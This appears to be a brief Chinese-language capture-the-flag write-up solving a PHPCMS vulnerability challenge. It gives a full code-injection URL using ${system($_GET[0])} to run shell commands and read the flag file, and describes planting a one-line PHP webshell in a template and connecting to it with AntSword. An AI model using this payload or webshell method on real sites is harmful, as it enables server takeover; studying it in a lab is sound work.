CMS系统漏洞分析溯源(第2题）

xingxin322026-04-01 11:36

从题目得知是PHPCMS搭建的网站，从这里可以在网上搜到PHPCMS的漏洞以下为该漏洞的介绍帖

步骤：

方法一：

首先用yakit扫描找到后台，发现可以直接登录

登陆后直接利用漏洞查看文件列表

复制代码

/index.php?0=ls&m=content&c=content&a=public_categorys&type=add&menuid=822;${system($_GET[0])}&pc_hash=vad6K3&from=block

得到key的名称后直接把ls改为cat key_xxxxxxx.php,再按f12或者CTRL+U查看网页源代码，得到key

方法二：

也是用yakit扫描出的后台进行登录，然后点击界面→模块风格→defaul详细列表→search→index.html 在结尾或者开头插入一句话木马，尽量不要破坏整个html

再使用蚁剑连接连接地址http://ip:port/index.php?m=search，这里解码器需要选择chr